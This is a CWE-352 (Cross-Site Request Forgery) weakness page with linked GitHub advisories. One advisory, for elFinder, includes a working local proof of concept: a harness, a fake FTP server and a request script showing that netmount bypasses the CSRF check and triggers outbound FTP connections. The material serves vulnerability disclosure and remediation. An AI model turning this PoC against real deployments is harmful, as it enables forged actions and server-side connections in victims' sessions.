CWE-352
Weakness AllowedCross-Site Request Forgery
Abstraction: Compound · Status: Stable
The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.
Mapping guidance
This is a well-known Composite of multiple weaknesses that must all occur simultaneously, although it is attack-oriented in nature.
While attack-oriented composites are supported in CWE, they have not been a focus of research. There is a chance that future research or CWE scope clarifications will change or deprecate them. Perform root-cause analysis to determine if other weaknesses allow CSRF attacks to occur, and map to those weaknesses. For example, predictable CSRF tokens might allow bypass of CSRF protection mechanisms; if this occurs, they might be better characterized as randomness/predictability weaknesses.
Relationships and members
Modes of introduction
REALIZATION: This weakness is caused during implementation of an architectural security tactic.
Detection methods
Manual Analysis
This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.
Specifically, manual analysis can be useful for finding this weakness, and for minimizing false positives assuming an understanding of business logic. However, it might not achieve desired code coverage within limited time constraints. For black-box analysis, if credentials are not known for privileged accounts, then the most security-critical portions of the application may not receive sufficient attention.
Consider using OWASP CSRFTester to identify potential issues and aid in manual analysis.
Effectiveness: High
These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.
Automated Static Analysis
CSRF is currently difficult to detect reliably using automated techniques. This is because each application has its own implicit security policy that dictates which requests can be influenced by an outsider and automatically performed on behalf of a user, versus which requests require strong confidence that the user intends to make the request. For example, a keyword search of the public portion of a web site is typically expected to be encoded within a link that can be launched automatically when the user clicks on the link.
Effectiveness: Limited
Automated Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Binary Weakness Analysis - including disassembler + source code weakness analysis
Effectiveness: SOAR Partial
Manual Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
Effectiveness: SOAR Partial
Dynamic Analysis with Automated Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Web Application Scanner
Effectiveness: High
Dynamic Analysis with Manual Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Fuzz Tester
Framework-based Fuzzer
Effectiveness: High
Manual Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Focused Manual Spotcheck - Focused manual analysis of source
Manual Source Code Review (not inspections)
Effectiveness: SOAR Partial
Automated Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer
Effectiveness: SOAR Partial
Architecture or Design Review
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Formal Methods / Correct-By-Construction
Effectiveness: SOAR Partial
Notes
Relationship
There can be a close relationship between XSS and CSRF (CWE-352). An attacker might use CSRF in order to trick the victim into submitting requests to the server in which the requests contain an XSS payload. A well-known example of this was the Samy worm on MySpace [REF-956]. The worm used XSS to insert malicious HTML sequences into a user's profile and add the attacker as a MySpace friend. MySpace friends of that victim would then execute the payload to modify their own profiles, causing the worm to propagate exponentially. Since the victims did not intentionally insert the malicious script themselves, CSRF was a root cause.
Theoretical
The CSRF topology is multi-channel:
Attacker (as outsider) to intermediary (as user). The interaction point is either an external or internal channel.
Intermediary (as user) to server (as victim). The activation point is an internal channel.
Content history
Contributed usability diagram concepts used by the CWE team.
updated Time_of_Introduction
updated Alternate_Terms, Description, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings
updated Applicable_Platforms, Description, Likelihood_of_Exploit, Observed_Examples, Other_Notes, Potential_Mitigations, References, Relationship_Notes, Relationships, Research_Gaps, Theoretical_Notes
updated Potential_Mitigations
Added demonstrative example for profile.
updated Demonstrative_Examples, Related_Attack_Patterns
updated Common_Consequences, Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, Observed_Examples, Potential_Mitigations, Time_of_Introduction
updated Applicable_Platforms, Detection_Factors, References, Relationships, Taxonomy_Mappings
updated Common_Consequences, Detection_Factors, Potential_Mitigations, References, Relationships
updated Potential_Mitigations
updated Description
updated Common_Consequences
updated Relationships
updated Potential_Mitigations, References
updated Related_Attack_Patterns, Relationships
updated Potential_Mitigations
updated Relationships
updated References, Relationships
updated Detection_Factors
updated Relationships
updated Applicable_Platforms, Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships
updated References, Relationship_Notes, Research_Gaps
updated Relationships
updated Relationships
updated Relationships, Theoretical_Notes
updated Relationships
updated Relationships
updated Relationships
updated Relationships
updated References, Relationships
updated Mapping_Notes, Relationships
updated Relationships
updated Alternate_Terms, Common_Consequences, Description, Diagram
updated Detection_Factors, Potential_Mitigations, References
updated Applicable_Platforms, Relationships, Weakness_Ordinalities
updated Applicable_Platforms, Name, References, Relationships, Taxonomy_Mappings
15017 vulnerabilities reference this CWE, most recent first.
GHSA-9HFG-6HM4-8XP5
Vulnerability from github – Published: 2023-11-22 06:30 – Updated: 2023-11-22 06:30IBM Sterling B2B Integrator Standard Edition 6.0.0.0 through 6.0.3.8 and 6.1.0.0 through 6.1.2.1 is vulnerable to cross-site request forgery which could allow an attacker to execute malicious and unauthorized actions transmitted from a user that the website trusts. IBM X-Force ID: 230824.
{
"affected": [],
"aliases": [
"CVE-2022-35638"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-22T04:15:07Z",
"severity": "MODERATE"
},
"details": "IBM Sterling B2B Integrator Standard Edition 6.0.0.0 through 6.0.3.8 and 6.1.0.0 through 6.1.2.1 is vulnerable to cross-site request forgery which could allow an attacker to execute malicious and unauthorized actions transmitted from a user that the website trusts. IBM X-Force ID: 230824.",
"id": "GHSA-9hfg-6hm4-8xp5",
"modified": "2023-11-22T06:30:24Z",
"published": "2023-11-22T06:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-35638"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/230824"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7080104"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-9HFH-6C3R-3GF5
Vulnerability from github – Published: 2026-03-18 18:31 – Updated: 2026-03-19 15:31MuraCMS through 10.1.10 contains a CSRF vulnerability that allows attackers to permanently destroy all deleted content stored in the trash system through a simple CSRF attack. The vulnerable cTrash.empty function lacks CSRF token validation, enabling malicious websites to forge requests that irreversibly delete all trashed content when an authenticated administrator visits a crated webpage. Successful exploitation of the CSRF vulnerability results in potentially catastrophic data loss within the MuraCMS system. When an authenticated administrator visits a malicious page containing the CSRF exploit, their browser automatically submits a hidden form that permanently empties the entire trash system without any validation, confirmation dialog, or user consent.
{
"affected": [],
"aliases": [
"CVE-2025-55046"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-18T16:16:23Z",
"severity": "HIGH"
},
"details": "MuraCMS through 10.1.10 contains a CSRF vulnerability that allows attackers to permanently destroy all deleted content stored in the trash system through a simple CSRF attack. The vulnerable cTrash.empty function lacks CSRF token validation, enabling malicious websites to forge requests that irreversibly delete all trashed content when an authenticated administrator visits a crated webpage. Successful exploitation of the CSRF vulnerability results in potentially catastrophic data loss within the MuraCMS system. When an authenticated administrator visits a malicious page containing the CSRF exploit, their browser automatically submits a hidden form that permanently empties the entire trash system without any validation, confirmation dialog, or user consent.",
"id": "GHSA-9hfh-6c3r-3gf5",
"modified": "2026-03-19T15:31:15Z",
"published": "2026-03-18T18:31:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55046"
},
{
"type": "WEB",
"url": "https://docs.murasoftware.com/v10/release-notes/#section-version-1014"
},
{
"type": "WEB",
"url": "https://www.murasoftware.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9HH2-5XWH-4MJJ
Vulnerability from github – Published: 2025-09-11 09:31 – Updated: 2025-09-11 09:31The PhpList Subber plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.1. This is due to missing or incorrect nonce validation on the bulk_action_handler function. This makes it possible for unauthenticated attackers to trigger bulk synchronization of subscription forms via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.
{
"affected": [],
"aliases": [
"CVE-2025-9632"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-11T08:15:38Z",
"severity": "MODERATE"
},
"details": "The PhpList Subber plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.1. This is due to missing or incorrect nonce validation on the bulk_action_handler function. This makes it possible for unauthenticated attackers to trigger bulk synchronization of subscription forms via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.",
"id": "GHSA-9hh2-5xwh-4mjj",
"modified": "2025-09-11T09:31:45Z",
"published": "2025-09-11T09:31:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-9632"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/phpls/tags/1.1/admin/init.php#L45"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/phpls/tags/1.1/admin/init.php#L60"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e8113238-5208-42cd-aed6-7ec61c3ced85?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-9HJF-W35W-6VX2
Vulnerability from github – Published: 2026-09-02 14:37 – Updated: 2026-09-02 14:37Summary
The PHP connector's CSRF gate protects many mutating commands, but it does not protect the netmount connector command. In the shipped minimal connector setup, FTP network mounting is enabled by default, so a cross-site request can force an elFinder instance to mount an attacker-chosen FTP endpoint in the victim's session and cause the server to initiate an outbound FTP connection without the X-elFinder-CSRF token that other state-changing commands require.
This was confirmed locally against Studio-42/elFinder at commit ec5f811dc321a053085b994966f553eaaab58721, corresponding to the repository's documented stable release 2.1.69 / API revision 2.1.69.
Details
The connector has an explicit allowlist of commands that require CSRF validation in php/elFinderConnector.class.php:79-92. That list includes state-changing commands such as mkdir, mkfile, paste, put, rename, rm, upload, archive, extract, resize, and chmod, but it omits netmount. The enforcement point in php/elFinderConnector.class.php:376-381 calls validateCsrfToken() only when the command appears in that list.
netmount is a first-class connector command declared in php/elFinder.class.php:248-278, specifically php/elFinder.class.php:263, with attacker-controlled protocol, host, path, port, user, pass, alias, and options arguments. Its implementation in php/elFinder.class.php:1560-1660 resolves the requested network driver, copies request arguments into a volume options array, calls the driver's netmountPrepare(), mounts the volume online, and persists successful network volume options in the session with saveNetVolumes() at php/elFinder.class.php:1642-1649.
The documented minimal installation path tells users to rename /php/connector.minimal.php-dist and load elFinder (README.md:105-120). That shipped minimal connector explicitly enables FTP network mounts at php/connector.minimal.php-dist:42-43:
// // Enable FTP connector netmount
elFinder::$netDrivers['ftp'] = 'FTP';
The FTP driver then uses request-controlled connection parameters. php/elFinderVolumeFTP.class.php:164-215 initializes the host, port, user, password, path, and netmount key, and php/elFinderVolumeFTP.class.php:264-327 calls ftp_connect() / ftp_ssl_connect(), ftp_login(), ftp_raw(), ftp_chdir(), ftp_pwd(), ftp_pasv(), FEAT, and MLST against the supplied endpoint. The local proof showed those FTP commands reaching a fake local FTP server.
False-positive checks performed:
mkdirwithout the CSRF header was rejected with HTTP 403 andcsrfReload:true, proving the harness exercised the connector's CSRF gate.netmountwithout the same CSRF header succeeded with HTTP 200 and anaddednetwork-volume response.- The fake FTP server observed an inbound connection and FTP command sequence from the PHP process.
- No custom application authentication, external service, public infrastructure, or destructive action was used.
- Sibling netmount drivers were reviewed; FTP is the relevant default/common exposure because the minimal connector enables it, while SFTP/cloud drivers require extra configuration or credentials.
Candidate score: 16/18 under the audit rubric. Reachability 2, attacker control 2, privilege required 2, sink impact 2, mitigation weakness 2, default exposure 2, safe reproduction 2, static certainty 2, false-positive resistance 2. The exploitability gate is satisfied for this issue as a confirmed CSRF/state-change and server-side FTP connection primitive in the shipped minimal connector configuration.
PoC
The following safe local reproduction uses only a disposable connector under /tmp, the repository's PHP classes, PHP's built-in local web server, and a fake FTP listener bound to 127.0.0.1. It does not contact external systems.
- From a clean checkout of
Studio-42/elFinderat commitec5f811dc321a053085b994966f553eaaab58721, create a disposable harness:
mkdir -p /tmp/elfinder-csrf-poc-claude/www/files/.trash/.tmb /tmp/elfinder-csrf-poc-claude/logs
cat > /tmp/elfinder-csrf-poc-claude/www/connector.php <<'PHP'
<?php
error_reporting(E_ALL);
require '/path/to/elFinder/php/autoload.php';
elFinder::$netDrivers['ftp'] = 'FTP';
function access($attr, $path, $data, $volume, $isDir, $relpath) {
$basename = basename($path);
return $basename[0] === '.' && strlen($relpath) !== 1
? !($attr == 'read' || $attr == 'write')
: null;
}
$opts = array(
'roots' => array(
array(
'driver' => 'LocalFileSystem',
'path' => __DIR__ . '/files/',
'URL' => '/files/',
'trashHash' => 't1_Lw',
'uploadDeny' => array('all'),
'uploadAllow' => array('text/plain'),
'uploadOrder' => array('deny', 'allow'),
'accessControl' => 'access'
),
array(
'id' => '1',
'driver' => 'Trash',
'path' => __DIR__ . '/files/.trash/',
'tmbURL' => '/files/.trash/.tmb/',
'uploadDeny' => array('all'),
'uploadAllow' => array('text/plain'),
'uploadOrder' => array('deny', 'allow'),
'accessControl' => 'access'
),
)
);
$connector = new elFinderConnector(new elFinder($opts));
$connector->run();
PHP
- Start this minimal fake FTP server as
/tmp/elfinder-csrf-poc-claude/fake_ftp.py:
#!/usr/bin/env python3
import socket, sys
HOST = '127.0.0.1'
PORT = int(sys.argv[1])
LOG = sys.argv[2]
def log(line):
with open(LOG, 'a', encoding='utf-8') as f:
f.write(line + '\n')
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen(5)
log(f'LISTEN {HOST}:{PORT}')
while True:
conn, addr = s.accept()
with conn:
log(f'CONNECT {addr[0]}:{addr[1]}')
conn.sendall(b'220 fake ftp ready\r\n')
while True:
data = b''
while not data.endswith(b'\n'):
chunk = conn.recv(1)
if not chunk:
log('CLOSE')
break
data += chunk
if not data:
break
line = data.decode('latin-1', errors='replace').strip()
log('CMD ' + line)
cmd = line.split(' ', 1)[0].upper()
if cmd == 'USER': conn.sendall(b'331 password required\r\n')
elif cmd == 'PASS': conn.sendall(b'230 login ok\r\n')
elif cmd.startswith('OPTS'): conn.sendall(b'200 ok\r\n')
elif cmd == 'HELP': conn.sendall(b'214 fake help\r\n')
elif cmd == 'CWD': conn.sendall(b'250 cwd ok\r\n')
elif cmd == 'PWD': conn.sendall(b'257 "/"\r\n')
elif cmd == 'FEAT': conn.sendall(b'211-Features\r\n MLST type*;size*;modify*;perm*;\r\n211 End\r\n')
elif cmd == 'MLST': conn.sendall(b'250-Listing /\r\n type=dir;size=0;modify=20260101000000;perm=el; /\r\n250 End\r\n')
elif cmd == 'PASV': conn.sendall(b'502 passive unavailable\r\n')
elif cmd == 'QUIT':
conn.sendall(b'221 bye\r\n')
break
else: conn.sendall(b'200 ok\r\n')
- Start the local services:
php -S 127.0.0.1:8765 -t /tmp/elfinder-csrf-poc-claude/www
python3 /tmp/elfinder-csrf-poc-claude/fake_ftp.py 21210 /tmp/elfinder-csrf-poc-claude/logs/ftp.log
- In another shell, run this control-and-positive test. It intentionally omits
X-elFinder-CSRFfrom both the protectedmkdircontrol request and thenetmountrequest:
import json, urllib.parse, urllib.request, urllib.error, http.cookiejar
base = 'http://127.0.0.1:8765/connector.php'
log = '/tmp/elfinder-csrf-poc-claude/logs/ftp.log'
open(log, 'w', encoding='utf-8').close()
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
def request(params, timeout=12):
url = base + '?' + urllib.parse.urlencode(params)
try:
with opener.open(url, timeout=timeout) as resp:
return resp.status, resp.read().decode('utf-8', errors='replace')
except urllib.error.HTTPError as e:
return e.code, e.read().decode('utf-8', errors='replace')
status, body = request({'cmd':'open','init':'1','target':'l1_Lw'})
opened = json.loads(body)
target = opened.get('cwd', {}).get('hash', 'l1_Lw')
print('OPEN_STATUS=' + str(status))
print('OPEN_HAS_CSRF=' + str('"csrf"' in body))
status, body = request({'cmd':'mkdir','target':target,'name':'csrf-control-no-header'})
print('CONTROL_MKDIR_WITHOUT_CSRF_STATUS=' + str(status))
print('CONTROL_MKDIR_WITHOUT_CSRF_BODY=' + body.replace('\n', ' ')[:160])
status, body = request({'cmd':'netmount','protocol':'ftp','host':'127.0.0.1','port':'21210','path':'/','user':'anonymous','pass':''})
print('NETMOUNT_WITHOUT_CSRF_STATUS=' + str(status))
print('NETMOUNT_WITHOUT_CSRF_HAS_ADDED=' + str('"added"' in body))
print('NETMOUNT_WITHOUT_CSRF_BODY=' + body.replace('\n', ' ')[:260])
print('FTP_LOG=')
print(open(log, encoding='utf-8', errors='replace').read().strip())
Observed output from the final local re-run in this environment:
OPEN_STATUS=200
OPEN_HAS_CSRF=True
CONTROL_MKDIR_WITHOUT_CSRF_STATUS=403
CONTROL_MKDIR_WITHOUT_CSRF_BODY={"error":["errPerm","Invalid request. Please reload."],"csrfReload":true}
NETMOUNT_WITHOUT_CSRF_STATUS=200
NETMOUNT_WITHOUT_CSRF_HAS_ADDED=True
NETMOUNT_WITHOUT_CSRF_BODY={"added":[{"mime":"directory","size":0,"ts":1767225600,"read":1,"write":0,"locked":1,"hash":"fnm1_Lw","name":"anonymous@127.0.0.1","rootRev":"","options":{"path":"","url":"","tmbUrl":"self","disabled":[],"separator":"\/","copyOverwrite":1,"uploadOverwrite":1,
FTP_LOG=
CONNECT 127.0.0.1:37496
CMD USER anonymous
CMD PASS
CMD OPTS UTF8 ON
CMD HELP
CMD epsv4 off
CMD PASV
CMD CWD /
CMD PWD
CMD FEAT
CMD MLST /
CLOSE
The negative/control case is the mkdir request: without X-elFinder-CSRF, it returns HTTP 403 and csrfReload:true. The positive case is netmount: without X-elFinder-CSRF, it returns HTTP 200 with added and the fake FTP server logs the server-side FTP connection.
Cleanup:
# Stop the two local server processes, then remove the disposable harness.
rm -rf /tmp/elfinder-csrf-poc-claude
Impact
An attacker who can cause a victim browser to request the connector can bypass the intended CSRF protection for netmount. In the shipped minimal connector configuration, this lets the attacker:
- force the victim's elFinder session to persist an attacker-chosen FTP network volume;
- cause the PHP server to initiate an outbound FTP connection to an attacker-chosen host and port;
- send attacker-supplied FTP username/password values to that endpoint; and
- expose the victim's later file-manager UI to the mounted remote volume.
The proof demonstrates a security boundary mismatch: the same connector rejects another mutating command without the CSRF header but accepts netmount without it. The observed server-side FTP command sequence confirms that the request reaches the network sink, not just a harmless JSON code path.
The impact is bounded by deployment and browser behavior. In a deployment with no surrounding authentication, direct callers may be able to use the connector normally; in the common authenticated-file-manager deployment model, the missing netmount CSRF check lets a cross-site attacker perform this state-changing/server-side network action in the victim's authenticated session.
Suggested remediation
Require CSRF validation for netmount, including protocol=netunmount, before executing the command. The minimal fix is to add netmount to elFinderConnector::$csrfProtectedCmds in php/elFinderConnector.class.php.
Also consider adding defense-in-depth validation for network mount destinations, especially FTP/SFTP hostnames and IPs, because the current FTP netmount path accepts local/private/link-local addresses unlike URL upload validation. If local/private network mounts are intentionally supported, expose that as an explicit opt-in connector configuration rather than the default sample behavior.
Suggested regression tests:
- A request to
cmd=netmount&protocol=ftp&host=127.0.0.1&port=<local-port>withoutX-elFinder-CSRFmust return HTTP 403 and must not connect to the FTP listener. - The same request with the valid token from
cmd=open&init=1should preserve intended behavior for authorized users. protocol=netunmountshould also reject missing/invalid CSRF tokens.
Credits
- Thai Son Dinh from VinSOC Labs (R&D)
- Nguyen Huy Vu Dung from VinSOC Labs (AppSec)
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "studio-42/elfinder"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.70"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-81890"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-02T14:37:36Z",
"nvd_published_at": "2026-08-31T21:17:52Z",
"severity": "MODERATE"
},
"details": "### Summary\nThe PHP connector\u0027s CSRF gate protects many mutating commands, but it does not protect the `netmount` connector command. In the shipped minimal connector setup, FTP network mounting is enabled by default, so a cross-site request can force an elFinder instance to mount an attacker-chosen FTP endpoint in the victim\u0027s session and cause the server to initiate an outbound FTP connection without the `X-elFinder-CSRF` token that other state-changing commands require.\n\nThis was confirmed locally against `Studio-42/elFinder` at commit `ec5f811dc321a053085b994966f553eaaab58721`, corresponding to the repository\u0027s documented stable release `2.1.69` / API revision `2.1.69`.\n\n### Details\nThe connector has an explicit allowlist of commands that require CSRF validation in `php/elFinderConnector.class.php:79-92`. That list includes state-changing commands such as `mkdir`, `mkfile`, `paste`, `put`, `rename`, `rm`, `upload`, `archive`, `extract`, `resize`, and `chmod`, but it omits `netmount`. The enforcement point in `php/elFinderConnector.class.php:376-381` calls `validateCsrfToken()` only when the command appears in that list.\n\n`netmount` is a first-class connector command declared in `php/elFinder.class.php:248-278`, specifically `php/elFinder.class.php:263`, with attacker-controlled `protocol`, `host`, `path`, `port`, `user`, `pass`, `alias`, and `options` arguments. Its implementation in `php/elFinder.class.php:1560-1660` resolves the requested network driver, copies request arguments into a volume options array, calls the driver\u0027s `netmountPrepare()`, mounts the volume online, and persists successful network volume options in the session with `saveNetVolumes()` at `php/elFinder.class.php:1642-1649`.\n\nThe documented minimal installation path tells users to rename `/php/connector.minimal.php-dist` and load elFinder (`README.md:105-120`). That shipped minimal connector explicitly enables FTP network mounts at `php/connector.minimal.php-dist:42-43`:\n\n```php\n// // Enable FTP connector netmount\nelFinder::$netDrivers[\u0027ftp\u0027] = \u0027FTP\u0027;\n```\n\nThe FTP driver then uses request-controlled connection parameters. `php/elFinderVolumeFTP.class.php:164-215` initializes the host, port, user, password, path, and netmount key, and `php/elFinderVolumeFTP.class.php:264-327` calls `ftp_connect()` / `ftp_ssl_connect()`, `ftp_login()`, `ftp_raw()`, `ftp_chdir()`, `ftp_pwd()`, `ftp_pasv()`, `FEAT`, and `MLST` against the supplied endpoint. The local proof showed those FTP commands reaching a fake local FTP server.\n\nFalse-positive checks performed:\n\n- `mkdir` without the CSRF header was rejected with HTTP 403 and `csrfReload:true`, proving the harness exercised the connector\u0027s CSRF gate.\n- `netmount` without the same CSRF header succeeded with HTTP 200 and an `added` network-volume response.\n- The fake FTP server observed an inbound connection and FTP command sequence from the PHP process.\n- No custom application authentication, external service, public infrastructure, or destructive action was used.\n- Sibling netmount drivers were reviewed; FTP is the relevant default/common exposure because the minimal connector enables it, while SFTP/cloud drivers require extra configuration or credentials.\n\nCandidate score: 16/18 under the audit rubric. Reachability 2, attacker control 2, privilege required 2, sink impact 2, mitigation weakness 2, default exposure 2, safe reproduction 2, static certainty 2, false-positive resistance 2. The exploitability gate is satisfied for this issue as a confirmed CSRF/state-change and server-side FTP connection primitive in the shipped minimal connector configuration.\n\n### PoC\nThe following safe local reproduction uses only a disposable connector under `/tmp`, the repository\u0027s PHP classes, PHP\u0027s built-in local web server, and a fake FTP listener bound to `127.0.0.1`. It does not contact external systems.\n\n1. From a clean checkout of `Studio-42/elFinder` at commit `ec5f811dc321a053085b994966f553eaaab58721`, create a disposable harness:\n\n```sh\nmkdir -p /tmp/elfinder-csrf-poc-claude/www/files/.trash/.tmb /tmp/elfinder-csrf-poc-claude/logs\ncat \u003e /tmp/elfinder-csrf-poc-claude/www/connector.php \u003c\u003c\u0027PHP\u0027\n\u003c?php\nerror_reporting(E_ALL);\nrequire \u0027/path/to/elFinder/php/autoload.php\u0027;\n\nelFinder::$netDrivers[\u0027ftp\u0027] = \u0027FTP\u0027;\n\nfunction access($attr, $path, $data, $volume, $isDir, $relpath) {\n $basename = basename($path);\n return $basename[0] === \u0027.\u0027 \u0026\u0026 strlen($relpath) !== 1\n ? !($attr == \u0027read\u0027 || $attr == \u0027write\u0027)\n : null;\n}\n\n$opts = array(\n \u0027roots\u0027 =\u003e array(\n array(\n \u0027driver\u0027 =\u003e \u0027LocalFileSystem\u0027,\n \u0027path\u0027 =\u003e __DIR__ . \u0027/files/\u0027,\n \u0027URL\u0027 =\u003e \u0027/files/\u0027,\n \u0027trashHash\u0027 =\u003e \u0027t1_Lw\u0027,\n \u0027uploadDeny\u0027 =\u003e array(\u0027all\u0027),\n \u0027uploadAllow\u0027 =\u003e array(\u0027text/plain\u0027),\n \u0027uploadOrder\u0027 =\u003e array(\u0027deny\u0027, \u0027allow\u0027),\n \u0027accessControl\u0027 =\u003e \u0027access\u0027\n ),\n array(\n \u0027id\u0027 =\u003e \u00271\u0027,\n \u0027driver\u0027 =\u003e \u0027Trash\u0027,\n \u0027path\u0027 =\u003e __DIR__ . \u0027/files/.trash/\u0027,\n \u0027tmbURL\u0027 =\u003e \u0027/files/.trash/.tmb/\u0027,\n \u0027uploadDeny\u0027 =\u003e array(\u0027all\u0027),\n \u0027uploadAllow\u0027 =\u003e array(\u0027text/plain\u0027),\n \u0027uploadOrder\u0027 =\u003e array(\u0027deny\u0027, \u0027allow\u0027),\n \u0027accessControl\u0027 =\u003e \u0027access\u0027\n ),\n )\n);\n\n$connector = new elFinderConnector(new elFinder($opts));\n$connector-\u003erun();\nPHP\n```\n\n2. Start this minimal fake FTP server as `/tmp/elfinder-csrf-poc-claude/fake_ftp.py`:\n\n```python\n#!/usr/bin/env python3\nimport socket, sys\nHOST = \u0027127.0.0.1\u0027\nPORT = int(sys.argv[1])\nLOG = sys.argv[2]\ndef log(line):\n with open(LOG, \u0027a\u0027, encoding=\u0027utf-8\u0027) as f:\n f.write(line + \u0027\\n\u0027)\nwith socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n s.bind((HOST, PORT))\n s.listen(5)\n log(f\u0027LISTEN {HOST}:{PORT}\u0027)\n while True:\n conn, addr = s.accept()\n with conn:\n log(f\u0027CONNECT {addr[0]}:{addr[1]}\u0027)\n conn.sendall(b\u0027220 fake ftp ready\\r\\n\u0027)\n while True:\n data = b\u0027\u0027\n while not data.endswith(b\u0027\\n\u0027):\n chunk = conn.recv(1)\n if not chunk:\n log(\u0027CLOSE\u0027)\n break\n data += chunk\n if not data:\n break\n line = data.decode(\u0027latin-1\u0027, errors=\u0027replace\u0027).strip()\n log(\u0027CMD \u0027 + line)\n cmd = line.split(\u0027 \u0027, 1)[0].upper()\n if cmd == \u0027USER\u0027: conn.sendall(b\u0027331 password required\\r\\n\u0027)\n elif cmd == \u0027PASS\u0027: conn.sendall(b\u0027230 login ok\\r\\n\u0027)\n elif cmd.startswith(\u0027OPTS\u0027): conn.sendall(b\u0027200 ok\\r\\n\u0027)\n elif cmd == \u0027HELP\u0027: conn.sendall(b\u0027214 fake help\\r\\n\u0027)\n elif cmd == \u0027CWD\u0027: conn.sendall(b\u0027250 cwd ok\\r\\n\u0027)\n elif cmd == \u0027PWD\u0027: conn.sendall(b\u0027257 \"/\"\\r\\n\u0027)\n elif cmd == \u0027FEAT\u0027: conn.sendall(b\u0027211-Features\\r\\n MLST type*;size*;modify*;perm*;\\r\\n211 End\\r\\n\u0027)\n elif cmd == \u0027MLST\u0027: conn.sendall(b\u0027250-Listing /\\r\\n type=dir;size=0;modify=20260101000000;perm=el; /\\r\\n250 End\\r\\n\u0027)\n elif cmd == \u0027PASV\u0027: conn.sendall(b\u0027502 passive unavailable\\r\\n\u0027)\n elif cmd == \u0027QUIT\u0027:\n conn.sendall(b\u0027221 bye\\r\\n\u0027)\n break\n else: conn.sendall(b\u0027200 ok\\r\\n\u0027)\n```\n\n3. Start the local services:\n\n```sh\nphp -S 127.0.0.1:8765 -t /tmp/elfinder-csrf-poc-claude/www\npython3 /tmp/elfinder-csrf-poc-claude/fake_ftp.py 21210 /tmp/elfinder-csrf-poc-claude/logs/ftp.log\n```\n\n4. In another shell, run this control-and-positive test. It intentionally omits `X-elFinder-CSRF` from both the protected `mkdir` control request and the `netmount` request:\n\n```python\nimport json, urllib.parse, urllib.request, urllib.error, http.cookiejar\nbase = \u0027http://127.0.0.1:8765/connector.php\u0027\nlog = \u0027/tmp/elfinder-csrf-poc-claude/logs/ftp.log\u0027\nopen(log, \u0027w\u0027, encoding=\u0027utf-8\u0027).close()\ncj = http.cookiejar.CookieJar()\nopener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))\ndef request(params, timeout=12):\n url = base + \u0027?\u0027 + urllib.parse.urlencode(params)\n try:\n with opener.open(url, timeout=timeout) as resp:\n return resp.status, resp.read().decode(\u0027utf-8\u0027, errors=\u0027replace\u0027)\n except urllib.error.HTTPError as e:\n return e.code, e.read().decode(\u0027utf-8\u0027, 